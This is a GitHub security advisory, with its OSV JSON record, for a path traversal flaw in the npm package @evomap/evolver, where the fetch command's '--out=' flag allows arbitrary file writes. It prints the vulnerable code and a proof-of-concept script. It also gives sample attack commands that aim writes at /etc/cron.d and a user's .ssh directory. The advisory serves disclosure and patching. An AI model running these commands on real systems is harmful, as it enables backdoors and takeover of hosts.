GHSA-R466-RXW4-3J9J
Vulnerability from github – Published: 2026-04-22 22:06 – Updated: 2026-04-22 22:06Summary
A path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.
Details
The vulnerability exists in index.js at lines 752-767:
// index.js:751-768
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
// VULNERABLE: No path validation on user input
const outDir = outFlag
? outFlag.slice('--out='.length) // User-controlled path
: path.join('.', 'skills', safeId);
if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });
// ... downloads skill files to outDir
The outFlag.slice('--out='.length) extracts the user-provided path without any sanitization or validation. An attacker can provide paths like ../../../etc/cron.d to write files outside the intended directory.
Note: The safeId variable is sanitized via inline replacement (replace(/[^a-zA-Z0-9_\-\.]/g, '_')), but this sanitization only applies to the default path, not to the user-provided --out= path.
PoC
Prerequisites: - Node.js installed - Access to the evolver application
Steps to reproduce:
- Create a test file demonstrating the vulnerability:
// test-file-write.js
const fs = require('fs');
const path = require('path');
// Simulate the vulnerable fetchSkill logic
function vulnerableFetchSkill(outFlag) {
const outDir = outFlag
? outFlag.slice('--out='.length) // No validation!
: path.join('.', 'skills', 'default');
console.log('Target directory:', outDir);
console.log('Resolved path:', path.resolve(outDir));
// In real code, this would write skill files
const targetFile = path.join(outDir, 'skill.js');
console.log('Would write to:', targetFile);
return { outDir, targetFile };
}
// Test cases
console.log('=== Test 1: Normal path ===');
vulnerableFetchSkill('--out=./my-skills/test');
console.log('\n=== Test 2: Path traversal ===');
const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');
// Actually demonstrate the vulnerability
console.log('\n=== Creating directory to prove traversal works ===');
try {
if (!fs.existsSync(result.outDir)) {
fs.mkdirSync(result.outDir, { recursive: true });
}
fs.writeFileSync(
path.join(result.outDir, 'poc.txt'),
'Path traversal successful!\nThis file was written outside the intended directory.'
);
console.log('SUCCESS: File written to:', path.resolve(result.targetFile));
} catch (e) {
console.log('Error:', e.message);
}
- Run the test:
node test-file-write.js
Expected output:
=== Test 2: Path traversal ===
Target directory: ../../../tmp/evolver-test
Resolved path: /tmp/evolver-test
Would write to: ../../../tmp/evolver-test/skill.js
=== Creating directory to prove traversal works ===
SUCCESS: File written to: /tmp/evolver-test/poc.txt
Actual exploit scenario: An attacker can run:
# Write to system cron directory (requires appropriate permissions)
node index.js fetch malicious-skill --out=../../../etc/cron.d
# Or overwrite existing files
node index.js fetch existing-skill --out=../../../home/user/.ssh
Impact
This is an Arbitrary File Write vulnerability that can lead to: - Overwriting critical system files - Installing persistent backdoors (e.g., in cron directories) - Modifying SSH authorized_keys - Overwriting application code or configuration files - Privilege escalation if the process runs with elevated privileges
Affected users: Anyone using the fetch command with the --out= flag, especially in automated environments or CI/CD pipelines.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@evomap/evolver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.69.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T22:06:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a =\u003e typeof a === \u0027string\u0027 \u0026\u0026 a.startsWith(\u0027--out=\u0027));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, \u0027_\u0027);\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n ? outFlag.slice(\u0027--out=\u0027.length) // User-controlled path\n : path.join(\u0027.\u0027, \u0027skills\u0027, safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice(\u0027--out=\u0027.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, \u0027_\u0027)`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n const outDir = outFlag\n ? outFlag.slice(\u0027--out=\u0027.length) // No validation!\n : path.join(\u0027.\u0027, \u0027skills\u0027, \u0027default\u0027);\n \n console.log(\u0027Target directory:\u0027, outDir);\n console.log(\u0027Resolved path:\u0027, path.resolve(outDir));\n \n // In real code, this would write skill files\n const targetFile = path.join(outDir, \u0027skill.js\u0027);\n console.log(\u0027Would write to:\u0027, targetFile);\n \n return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log(\u0027=== Test 1: Normal path ===\u0027);\nvulnerableFetchSkill(\u0027--out=./my-skills/test\u0027);\n\nconsole.log(\u0027\\n=== Test 2: Path traversal ===\u0027);\nconst result = vulnerableFetchSkill(\u0027--out=../../../tmp/evolver-test\u0027);\n\n// Actually demonstrate the vulnerability\nconsole.log(\u0027\\n=== Creating directory to prove traversal works ===\u0027);\ntry {\n if (!fs.existsSync(result.outDir)) {\n fs.mkdirSync(result.outDir, { recursive: true });\n }\n fs.writeFileSync(\n path.join(result.outDir, \u0027poc.txt\u0027),\n \u0027Path traversal successful!\\nThis file was written outside the intended directory.\u0027\n );\n console.log(\u0027SUCCESS: File written to:\u0027, path.resolve(result.targetFile));\n} catch (e) {\n console.log(\u0027Error:\u0027, e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.",
"id": "GHSA-r466-rxw4-3j9j",
"modified": "2026-04-22T22:06:15Z",
"published": "2026-04-22T22:06:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j"
},
{
"type": "PACKAGE",
"url": "https://github.com/EvoMap/evolver"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.